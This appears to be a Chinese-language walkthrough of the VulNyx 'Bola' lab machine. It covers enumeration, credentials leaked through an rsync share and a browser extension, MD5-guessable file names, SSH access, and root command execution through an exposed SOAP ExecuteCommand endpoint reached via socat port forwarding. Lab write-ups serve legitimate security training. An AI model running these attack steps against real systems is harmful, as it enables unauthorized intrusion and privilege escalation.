信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 IP=192.168.0.206 nmap $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 04:42 EST Nmap scan report for 192.168.0.206 Host is up (0.00029s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 53/tcp filtered domain 80/tcp open http 873/tcp open rsync MAC Address: 08:00:27:BA:A3:CA (Oracle VirtualBox virtual NIC) Nmap done : 1 IP address (1 host up) scanned in 1.53 seconds
80 是一个网站,进入之后自动跳转到 http://bola.nyx/ ,所以要加一个 hosts 。
貌似吧 Vulnyx 官网给 iframe 进来了。先扫一下看看:
1 2 3 4 5 6 7 8 9 10 11 gobuster dir -u http://bola.nyx -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,php3,txt,html,bk,bak,zip,tar,gz,7z,pdf,shtml,js /admin (Status: 301) [Size: 304] [--> http://bola.nyx/admin/] /login (Status: 301) [Size: 304] [--> http://bola.nyx/login/] /download.php (Status: 302) [Size: 0] [--> /login/login.php] /javascript (Status: 301) [Size: 309] [--> http://bola.nyx/javascript/] /script.js (Status: 200) [Size: 131] /index.php (Status: 200) [Size: 1660]
@ll104567 说还有个 rsync 服务可以弄东西出来,先跑一遍目录。找到一个
1 2 3 4 5 6 7 8 9 10 11 12 13 for i in $(cat /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt);do echo $i ;rsync -av --list-only rsync://192.168.0.206/$i 2>&1| grep -Pv 'Unknown|error' ;done receiving incremental file list drwxr-xr-x 4,096 2025/02/05 11:43:23 . -rw-r--r-- 93,553 2025/02/05 10:42:57 Password_manager_FirefoxExtension-VulNyx.pdf -rw-r--r-- 30,811 2025/02/05 10:31:41 password_manager.zip rsync -av --list-only rsync://192.168.0.206/extensions
把文件下载下来:
1 2 3 4 rsync -av rsync://192.168.0.206/extensions/password_manager.zip ./ rsync -av rsync://192.168.0.206/extensions/Password_manager_FirefoxExtension-VulNyx.pdf ./
打开 pdf 里面教你如何使用 password_manager.zip 这个插件。不过不重要,里面的 background.js
暴漏了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 browser.runtime .onInstalled .addListener (() => { const defaultPasswords = [ { site : "bola.nyx" , username : "[email protected] " , password : "sbIJ0x9g{C3`" } ]; browser.storage .local .get ("passwords" ).then (result => { if (!result.passwords || result.passwords .length === 0 ) { browser.storage .local .set ({ passwords : defaultPasswords }).then (() => { console .log ("Default passwords initialized." ); }); } }); });
用这个账号密码就登录了 http://bola.nyx/admin/admin.php
映入眼帘的就是一个 PDF文件,打开看看是 WSDL Server
的介绍。 WSDL
开发的人当然熟悉了,这是 xml 格式的 web 接口的描述文件。是 SOAP 协议的算是最原子化的部分了。
pdf 的下载地址是:http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf
和上面扫到的 /download.php
对应上了。
下载的话,Fuzz 下路径和扩展名,注意带上 刚才登录的 cookie
1 2 wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z -H "Cookie: PHPSESSID=9n11tf34kd13f0nps0aeb12usg" --hw 5
试了一会,看到群里看到文件名是 md5 的,用 owner 来生成的。如果加上 encoder 才能 FUZZ 出来。 暂时放弃这个路径。
后来 ta0 神给了个地址:http://bola.nyx/.well-known/openid-configuration 瞬间就知道咋回事了。
openid-configuration 是 OAuth 2.0 - OpenID Connect 的配置文件。 比如 Google 的 OpenID Connect 的配置文件是:https://accounts.google.com/.well-known/openid-configuration
不过 http://bola.nyx/.well-known/openid-configuration 里面给的信息有点多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 { "issuer" : "https:\/\/bola.nyx" , "authorization_endpoint" : "https:\/\/bola.nyx\/auth" , "token_endpoint" : "https:\/\/bola.nyx\/token" , "userinfo_endpoint" : "https:\/\/bola.nyx\/userinfo" , "jwks_uri" : "https:\/\/bola.nyx\/jwks.json" , "response_types_supported" : [ "code" , "token" , "id_token" ] , "grant_types_supported" : [ "authorization_code" , "implicit" ] , "subject_types_supported" : [ "public" ] , "id_token_signing_alg_values_supported" : [ "RS256" ] , "scopes_supported" : [ "openid" , "profile" , "email" ] , "claims_supported" : [ "sub" , "name" , "email" ] , "userinfo" : [ { "sub" : "d4t4s3c" , "name" : "d4t4s3c" , "email" : "[email protected] " } , { "sub" : "jackie0x17" , "name" : "jackie0x17" , "email" : "[email protected] " } , { "sub" : "ct0l4" , "name" : "ct0l4" , "email" : "[email protected] " } ] }
看到了 3 个用户,根据刚才 pdf 是用 owner md5 出来的规律,那么可能还有两个 pdf 文件:
1 2 3 4 5 6 7 8 ──(root㉿kali)-[~/Downloads/Bola] └─# echo -n "d4t4s3c" | md5sum 97035ded598faa2ce8ff63f7f9dd3b70 - ──(root㉿kali)-[~/Downloads/Bola] └─# echo -n "ct0l4" | md5sum 4a8f81d01d65d3468955191045816c85 -
显然第一个还有一个 pdf 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <definitions name ="ExampleService" targetNamespace ="http://www.example.com/wsdl" xmlns ="http://schemas.xmlsoap.org/wsdl/" xmlns:soap ="http://schemas.xmlsoap.org/wsdl/soap/" ><message name ="LoginRequest" > <part name ="username" type ="xsd:string" /> <part name ="password" type ="xsd:string" /> </message > <message name ="LoginResponse" > <part name ="result" type ="xsd:string" /> </message > <portType name ="LoginService" > <operation name ="Login" > <input message ="tns:LoginRequest" /> <output message ="tns:LoginResponse" /> </operation > </portType > <binding name ="LoginBinding" type ="tns:LoginService" > <soap:binding style ="document" transport ="http://schemas.xmlsoap.org/soap/http" /><operation name ="Login" > <soap:operation soapAction ="http://www.example.com/wsdl/Login" /><input > <soap:body use ="literal" /> </input > <output > <soap:body use ="literal" / </output > </operation > </binding > <service name ="LoginService" > <port name ="LoginPort" binding ="tns:LoginBinding" > <soap:address location ="http://localhost:9000/LoginService" /></port > </service > </definitions >
还有一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 """ Example with Python and Spyne An example of how to implement a WSDL server in Python using Spyne """ from spyne import Application, rpc, ServiceBase, Stringfrom spyne.protocol.soap import Soap11from spyne.server.wsgi import WsgiApplicationclass LoginService (ServiceBase ):@rpc(String, String, _returns=String ) def login (ctx, username, password ):if username == "admin" and password =="VulNyxtestinglogin123" :return "Login successful" return "Invalid credentials" app = Application([LoginService], 'http://bola.nyx:9000/wsdl' , in_protocol=Soap11(validator='lxml' ), out_protocol=Soap11()) server = WsgiApplication(app) from wsgiref.simple_server import make_serverif __name__ == '__main__' :server = make_server('localhost' , 9000 , server) print ("WSDL Server running at http://localhost:9000" )server.serve_forever()
里面有个密码: VulNyxtestinglogin123 ,就是 d4t4s3c 的密码。
ssh 上去:
1 2 3 4 ssh [email protected] d4t4s3c@bola:~$ id uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups =1000(pijusmagnifikus),1003(d4t4s3c)
就拿到了User。
提权 既然是 python 执行的,查下进程:
1 2 3 4 ps aux | grep python root 415 0.0 1.7 78356 34984 ? S 11:41 0:01 /usr/bin/python3 server.py d4t4s3c 21683 0.0 0.1 6332 2060 pts/0 S+ 13:19 0:00 grep python
尝试找下 server.py 的位置:
1 find / -name server.py 2>/dev/null
没找到应该在 root 里。 需要把 9000 端口转出来:
1 ./socat TCP-LISTEN:7000,fork TCP4:127.0.0.1:9000 &
然后就可以 curl 到了:
1 curl http://192.168.0.206:7000/wsdl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <definitions name ="VulNyxSOAP" targetNamespace ="http://localhost/wsdl/VulNyxSOAP.wsdl" xmlns ="http://schemas.xmlsoap.org/wsdl/" xmlns:soap ="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tns ="http://localhost/wsdl/VulNyxSOAP.wsdl" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" > <message name ="LoginRequest" > <part name ="username" element ="username" /> <part name ="password" element ="password" /> </message > <message name ="LoginResponse" > <part name ="status" type ="string" /> </message > <message name ="ExecuteCommandRequest" > <part name ="cmd" element ="cmd" /> </message > <message name ="ExecuteCommandResponse" > <part name ="output" element ="cmd" /> </message > <portType name ="VulNyxSOAPPortType" > <operation name ="Login" > <input message ="tns:LoginRequest" /> <output message ="tns:LoginResponse" /> </operation > <operation name ="ExecuteCommand" > <input message ="tns:ExecuteCommandRequest" /> <output message ="tns:ExecuteCommandResponse" /> </operation > </portType > <binding name ="VulNyxSOAPBinding" type ="tns:VulNyxSOAPPortType" > <soap:binding style ="rpc" transport ="http://schemas.xmlsoap.org/soap/http" /> <operation name ="Login" > <soap:operation soapAction ="Login" /> <input > <soap:body use ="literal" /> </input > <output > <soap:body use ="literal" /> </output > </operation > <operation name ="ExecuteCommand" > <soap:operation soapAction ="ExecuteCommand" /> <input > <soap:body use ="literal" /> </input > <output > <soap:body use ="literal" /> </output > </operation > </binding > <service name ="VulNyxSOAP" > <port binding ="tns:VulNyxSOAPBinding" name ="VulNyxSOAPPort" > <soap:address location ="http://localhost:9000/wsdl/" /> </port > </service > </definitions >
很显然有一个是 ExecuteCommandRequest ,可以执行命令。 那具体的定义我们找下:
1 curl http://192.168.0.206:7000/wsdl/VulNyxSOAP.wsdl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <wsdl:definitions xmlns:xs ="http://www.w3.org/2001/XMLSchema" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:plink ="http://schemas.xmlsoap.org/ws/2003/05/partner-link/" xmlns:wsdlsoap11 ="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:wsdlsoap12 ="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:wsdl ="http://schemas.xmlsoap.org/wsdl/" xmlns:soap11enc ="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soap11env ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap12env ="http://www.w3.org/2003/05/soap-envelope" xmlns:soap12enc ="http://www.w3.org/2003/05/soap-encoding" xmlns:wsa ="http://schemas.xmlsoap.org/ws/2003/03/addressing" xmlns:xop ="http://www.w3.org/2004/08/xop/include" xmlns:http ="http://schemas.xmlsoap.org/wsdl/http/" xmlns:tns ="http://localhost/wsdl" targetNamespace ="http://localhost/wsdl" name ="Application" > <script /> <wsdl:types > <xs:schema targetNamespace ="http://localhost/wsdl" elementFormDefault ="qualified" > <xs:complexType name ="ExecuteCommand" > <xs:sequence > <xs:element name ="cmd" type ="xs:string" minOccurs ="0" nillable ="true" /> </xs:sequence > </xs:complexType > <xs:complexType name ="ExecuteCommandResponse" > <xs:sequence > <xs:element name ="ExecuteCommandResult" type ="xs:string" minOccurs ="0" nillable ="true" /> </xs:sequence > </xs:complexType > <xs:complexType name ="Login" > <xs:sequence > <xs:element name ="username" type ="xs:string" minOccurs ="0" nillable ="true" /> <xs:element name ="password" type ="xs:string" minOccurs ="0" nillable ="true" /> </xs:sequence > </xs:complexType > <xs:complexType name ="LoginResponse" > <xs:sequence > <xs:element name ="LoginResult" type ="xs:string" minOccurs ="0" nillable ="true" /> </xs:sequence > </xs:complexType > <xs:element name ="ExecuteCommand" type ="tns:ExecuteCommand" /> <xs:element name ="ExecuteCommandResponse" type ="tns:ExecuteCommandResponse" /> <xs:element name ="Login" type ="tns:Login" /> <xs:element name ="LoginResponse" type ="tns:LoginResponse" /> </xs:schema > </wsdl:types > <wsdl:message name ="Login" > <wsdl:part name ="Login" element ="tns:Login" /> </wsdl:message > <wsdl:message name ="LoginResponse" > <wsdl:part name ="LoginResponse" element ="tns:LoginResponse" /> </wsdl:message > <wsdl:message name ="ExecuteCommand" > <wsdl:part name ="ExecuteCommand" element ="tns:ExecuteCommand" /> </wsdl:message > <wsdl:message name ="ExecuteCommandResponse" > <wsdl:part name ="ExecuteCommandResponse" element ="tns:ExecuteCommandResponse" /> </wsdl:message > <wsdl:service name ="VulNyxSOAP" > <wsdl:port name ="Application" binding ="tns:Application" > <wsdlsoap11:address location ="http://bola.nyx:7000/http%3A//localhost/wsdl/VulNyxSOAP" /> </wsdl:port > </wsdl:service > <wsdl:portType name ="Application" > <wsdl:operation name ="Login" parameterOrder ="Login" > <wsdl:input name ="Login" message ="tns:Login" /> <wsdl:output name ="LoginResponse" message ="tns:LoginResponse" /> </wsdl:operation > <wsdl:operation name ="ExecuteCommand" parameterOrder ="ExecuteCommand" > <wsdl:input name ="ExecuteCommand" message ="tns:ExecuteCommand" /> <wsdl:output name ="ExecuteCommandResponse" message ="tns:ExecuteCommandResponse" /> </wsdl:operation > </wsdl:portType > <wsdl:binding name ="Application" type ="tns:Application" > <wsdlsoap11:binding style ="document" transport ="http://schemas.xmlsoap.org/soap/http" /> <wsdl:operation name ="Login" > <wsdlsoap11:operation soapAction ="Login" style ="document" /> <wsdl:input name ="Login" > <wsdlsoap11:body use ="literal" /> </wsdl:input > <wsdl:output name ="LoginResponse" > <wsdlsoap11:body use ="literal" /> </wsdl:output > </wsdl:operation > <wsdl:operation name ="ExecuteCommand" > <wsdlsoap11:operation soapAction ="ExecuteCommand" style ="document" /> <wsdl:input name ="ExecuteCommand" > <wsdlsoap11:body use ="literal" /> </wsdl:input > <wsdl:output name ="ExecuteCommandResponse" > <wsdlsoap11:body use ="literal" /> </wsdl:output > </wsdl:operation > </wsdl:binding > </wsdl:definitions >
里面 Application 的 Address 是 http://bola.nyx:7000/http%3A//localhost/wsdl/VulNyxSOAP :
1 curl http://192.168.0.206:7000/http%3A//localhost/wsdl/VulNyxSOAP
1 2 3 4 5 6 7 8 9 10 <?xml version='1.0' encoding='UTF-8'?> <soap11env:Envelope xmlns:soap11env ="http://schemas.xmlsoap.org/soap/envelope/" > <soap11env:Body > <soap11env:Fault > <faultcode > soap11env:Client.RequestNotAllowed</faultcode > <faultstring > You must issue a POST request with the Content-Type header properly set.</faultstring > <faultactor > </faultactor > </soap11env:Fault > </soap11env:Body > </soap11env:Envelope >
至此,终于凑齐了执行命令的请求。
1 2 3 4 5 6 7 8 9 curl -X POST --data '<?xml version="1.0" encoding="UTF-8"?> <soap11env:Envelope xmlns:soap11env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://localhost/wsdl"> <soap11env:Body> <wsdl:ExecuteCommand> <wsdl:cmd>id</wsdl:cmd> </wsdl:ExecuteCommand> </soap11env:Body> </soap11env:Envelope>' http://192.168.0.206:7000/wsdl/VulNyxSOAP.wsdl
响应内容:
1 2 3 <?xml version='1.0' encoding='UTF-8'?> <soap11env:Envelope xmlns:soap11env ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns ="http://localhost/wsdl" > <soap11env:Body > <tns:ExecuteCommandResponse > <tns:ExecuteCommandResult > uid=0(root) gid=0(root) groups=0(root)</tns:ExecuteCommandResult > </tns:ExecuteCommandResponse > </soap11env:Body > </soap11env:Envelope >
可以看到已经是 root 的了。 接下来反弹或者直接读 flag 就行了。
真的都怪自己当时 SOAP 没好好学哈哈哈,现在碰见直接从头开始学。